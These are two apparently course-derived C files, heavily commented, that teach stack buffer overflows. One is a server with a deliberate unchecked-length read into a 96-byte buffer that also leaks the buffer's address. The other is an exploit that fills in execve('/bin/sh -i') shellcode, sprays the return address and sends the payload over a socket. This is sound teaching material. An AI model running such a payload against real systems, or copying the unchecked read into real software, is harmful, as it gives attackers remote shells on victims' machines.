

```

1 // ----[buggy-server.c]----
2 /*
3  * Author: Russ Cox, rsc@swtch.com
4  * Date: April 28, 2006
5  *
6  * Comments and modifications by Michael Walfish, 2006-2015
7  * Ported to x86-64: Michael Walfish, 2019
8  */
9
10 ... // skip headers
11
12 void
13 serve(void)
14 {
15     int n;
16     char buf[96];
17     char* rbp;
18
19     memset(buf, 0, sizeof(buf));
20
21     /* Server obligingly tells client where in memory 'buf' is located. */
22     fprintf(stdout, "the address of the buffer is %p\n", (void*)buf);
23
24     /* This next line actually gets stdout to the client */
25     fflush(stdout);
26
27     /* Read in the length from the client; store the length in 'n' */
28     fread(&n, 1, sizeof n, stdin);
29
30     /*
31      * The return address lives directly above where the frame
32      * pointer, rbp, is pointing. This area of memory is 'offset' bytes
33      * past the start of 'buf', as we learn by examining a
34      * disassembly of buggy-server. Below we illustrate that rbp+8
35      * and buf+offset are holding the same data. To print out the
36      * return address, we use buf[offset].
37      */
38
39     asm volatile("movq %%rbp, %0" : "=r" (rbp));
40     assert(*(long int*)(rbp+8) == *(long int*)(buf + offset));
41
42     fprintf(stdout, "My return address is: %lx\n", *(long int*)(buf + offset));
43     fflush(stdout);
44
45     /* Now read in n bytes from the client. */
46     fread(buf, 1, n, stdin);
47
48     fprintf(stdout, "My return address is now: %lx\n", *(long int*)(buf + offset));
49     fflush(stdout);
50
51
52     /*
53      * This server is very simple so just tells the client whatever
54      * the client gave the server. A real server would process buf
55      * somehow.
56      */
57     fprintf(stdout, "you gave me: %s\n", buf);
58     fflush(stdout);
59 }
60
61 int
62 main(void)
63 {
64     serve();
65     return 0;
66 }
67
68
69

```

```

70
71 // ----[exploit.c]----
72 /*
73  * Author: Russ Cox, rsc@swtch.com
74  * Date: April 28, 2006
75  *
76  * Comments and modifications by Michael Walfish, 2006-2015
77  * Ported to x86-64 by Michael Walfish, 2019
78  */
79
80 ... // skip headers
81
82
83 /*
84  * This is a simple assembly program to exec a shell. The program
85  * is incomplete, though. We cannot complete it until the server
86  * tells us where its stack is located.
87  */
88
89 char shellcode[] =
90 "\x48\xc7\xc0\x3b\x00\x00\x00" /* movq $59, %rax; load the code for 'exec' */
91 "\x48\xbf\x00\x00\x00\x00\x00\x00\x00\x00" /* movabsq $0, %rdi; INCOMPLETE */
92 "\x48\xbe\x00\x00\x00\x00\x00\x00\x00\x00" /* movabsq $0, %rsi; INCOMPLETE */
93 "\x48\xba\x00\x00\x00\x00\x00\x00\x00\x00" /* movabsq $0, %rdx; INCOMPLETE */
94 "\x0f\x05" /* syscall; do whatever system call is given by %rax */
95 "/bin/sh\0" /* "/bin/sh\0"; the program we will exec */
96 "-i\0" /* "-i\0"; the argument to the program */
97
98 /* 0; INCOMPLETE. will be address of string "/bin/sh" */
99 "\x00\x00\x00\x00\x00\x00\x00\x00"
100
101 /* 0; INCOMPLETE. will be address of string "-i" */
102 "\x00\x00\x00\x00\x00\x00\x00\x00"
103
104 /* 0 */
105 "\x00\x00\x00\x00\x00\x00\x00\x00"
106
107 ; /* end shellcode */
108
109
110 enum
111 { /* offsets into assembly */
112     MovRdi = 9, /* constant moved into rdi */
113     MovRsi = 19, /* ... into rsi */
114     MovRdx = 29, /* ... into rdx */
115     Arg0 = 39, /* string arg0 ("/bin/sh") */
116     Arg1 = 47, /* string arg1 ("-i") */
117     Arg0Ptr = 50, /* ptr to arg0 (==argv[0]) */
118     Arg1Ptr = 58, /* ptr to arg1 (==argv[1]) */
119     Arg2Ptr = 66, /* zero (==argv[2]) */
120 };
121
122 enum
123 {
124     REMOTE_BUF_LEN = 96,
125     NCOPIES = 24
126 };
127

```

```

128 int
129 main(int argc, char** argv)
130 {
131     char helpfulinfo[100];
132     char msg[REMOTE_BUF_LEN + NCOPIES*8];
133     int i, n, fd;
134     long int addr;
135     uint32_t victim_ip_addr;
136     uint16_t victim_port;
137
138     if (argc != 3) {
139         fprintf(stderr, "usage: exploit ip_addr port\n");
140         exit(1);
141     }
142
143     victim_ip_addr = inet_addr(argv[1]);
144     victim_port = htons(atoi(argv[2]));
145
146     // "dial" is a skipped function, which is used to connect
147     // to the remote server
148     fd = dial(victim_ip_addr, victim_port);
149     if(fd < 0){
150         fprintf(stderr, "dial: %s\n", strerror(errno));
151         exit(1);
152     }
153
154     /*
155     * this line reads the line from the server wherein the server
156     * tells the client where its stack is located. (thank you,
157     * server!)
158     */
159     n = read(fd, helpfulinfo, sizeof helpfulinfo-1);
160     if(n < 0){
161         fprintf(stderr, "socket read: %s\n", strerror(errno));
162         exit(1);
163     }
164     /* null-terminate our copy of the helpful information */
165     helpfulinfo[n] = 0;
166
167     /*
168     * check to make sure that the server gave us the helpful
169     * information we were expecting.
170     */
171     if(strncmp(helpfulinfo, "the address of the buffer is ", 29) != 0){
172         fprintf(stderr, "bad message: %s\n", helpfulinfo);
173         exit(1);
174     }
175
176     /*
177     * Pull out the actual address where the server's buf is stored.
178     * we use this address below, as we construct our assembly code.
179     */
180     addr = strtoull(helpfulinfo+29, 0, 0);
181     fprintf(stderr, "remote buffer is at address %lx\n", addr);
182

```

```

183     /*
184     * Here, we construct the contents of msg. We'll copy the
185     * shellcode into msg and also "fill out" this little assembly
186     * program with some needed constants.
187     */
188     memmove(msg, shellcode, sizeof(shellcode));
189
190     /*
191     * fill in the arguments to exec. The first argument is a
192     * pointer to the name of the program to execute, so we fill in
193     * the address of the string, "/bin/sh".
194     */
195     *(long int*)(msg+MovRdi) = addr + Arg0;
196
197     /*
198     * The second argument is a pointer to the argv array (which is
199     * itself an array of pointers) that the shell will be passed.
200     * This array is currently not filled in, but we can still put a
201     * pointer to the array in the shellcode.
202     */
203     *(long int*)(msg + MovRsi) = addr + Arg1Ptr;
204
205     /* The third argument is the address of a location that holds 0 */
206     *(long int*)(msg + MovRdx) = addr + Arg2Ptr;
207
208     /*
209     * The array of addresses mentioned above are the arguments that
210     * /bin/sh should begin with. In our case, /bin/sh only begins
211     * with its own name and "-i", which means "interactive". These
212     * lines load the 'argv' array.
213     */
214     *(long int*)(msg + Arg0Ptr) = addr + Arg0;
215     *(long int*)(msg + Arg1Ptr) = addr + Arg1;
216
217     /*
218     * This line is one of the keys -- it places NCOPIES different copies
219     * of our desired return address, which is the start of the message
220     * in the server's address space. We use multiple copies in the hope
221     * that one of them overwrites the return address on the stack. We
222     * could have used more copies or fewer.
223     */
224     for(i=0; i<NCOPIES; i++)
225         *(long int*)(msg + REMOTE_BUF_LEN + i*8) = addr;
226
227     n = REMOTE_BUF_LEN + NCOPIES*8;
228     /* Tell the server how long our message is. */
229     write(fd, &n, 4);
230     /* And now send the message, thereby smashing the server's stack.*/
231     write(fd, msg, n);
232
233     ... // skip code interacting with the remote shell
234 }

```